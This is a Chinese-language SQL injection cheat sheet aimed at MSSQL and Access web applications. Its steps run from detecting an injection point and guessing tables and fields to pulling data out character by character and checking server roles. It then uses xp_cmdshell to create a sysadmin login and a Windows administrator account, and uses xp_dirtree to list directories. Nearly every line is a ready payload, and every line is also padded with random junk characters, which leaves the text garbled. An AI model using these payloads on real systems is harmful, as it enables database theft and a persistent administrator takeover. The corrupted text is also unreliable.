1.判断是否有注入;and 1=1 ;and 1=2 #5iwDAw:|r
2.初步判断是否是mssql ;and user>0 xmfZ5nVL
.
+,{|){c
3.注入参数是字符'and [查询条件] and ''=' CdtCxy5
/-(OJN5F^
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ,jl4W+s
vN~joQ=d
5.判断数据库系统 q%,y66pFr
!Y/S 2J
;and (select count(*) from sysobjects)>0 mssql APCE}%1U
C^:{y
;and (select count(*) from msysobjects)>0 access ~4xn^.w
,| j\x
KTeR;6oZn"
k`s_31<
6.猜数据库 ;and (select Count(*) from [数据库名])>0 0n={Mb
Z>dvth
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 r"t,/@`n
7f<@+&
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 1Ve~P"w
~B7<Yg
9.(1)猜字段的ascii值(access) W*,$0 t
0_=^#r4Mu
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 fwa*|y;
ZS`9r16@b
(2)猜字段的ascii值(mssql) ;q#Pl!*5
Q!I><u
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 j(M.7Z7^
Bw9O)++
10.测试权限结构(mssql) Xo6zeLHO
-U\s.FI.AR
EoS6t
E?VOst&
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ]O0u.=1k
'aS: Azb
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- V >~\~H2Y
^S)t;t@x
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7ZUS
m\_v{1g
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ' t^ r2N/
Iv u'0vF
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- Wq?vAnLbk
8v=t-GJW
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- +WguWLO"
]Y$jc
;and 1=(select IS_MEMBER('db_owner'));-- hZ')<@hNP
N(O*"1b
tg9{(_t/W
Zq:c2/\c}
11.添加mssql和系统的帐户 $J0o%9K
!LsIHDs4
;exec master.dbo.sp_addlogin username;-- R~;8v1>K
;exec master.dbo.sp_password null,username,password;-- PtGFLM9R
ke)<E98DC
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ,pUB[w\
}*vE/W
;exec master.dbo.xp_cmdshell 'net user username password Q<yvpT(
t"5ZYa
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- R?Ch8mW.!
$2a_!/
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6zGeGW
]H<}6}Gd
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- V|/N-3M
x Vw1
]@CXUa,>a
0%yPuY>
12.(1)遍历目录 w BoP&l
~b%dBn]n>
;create table dirs(paths varchar(100), id int) is^5TL%@
4.>y[_vu
;insert dirs exec master.dbo.xp_dirtree 'c:\' J?1Eh14KZ
*|gl1S
;and (select top 1 paths from dirs)>0 P~PM $e
&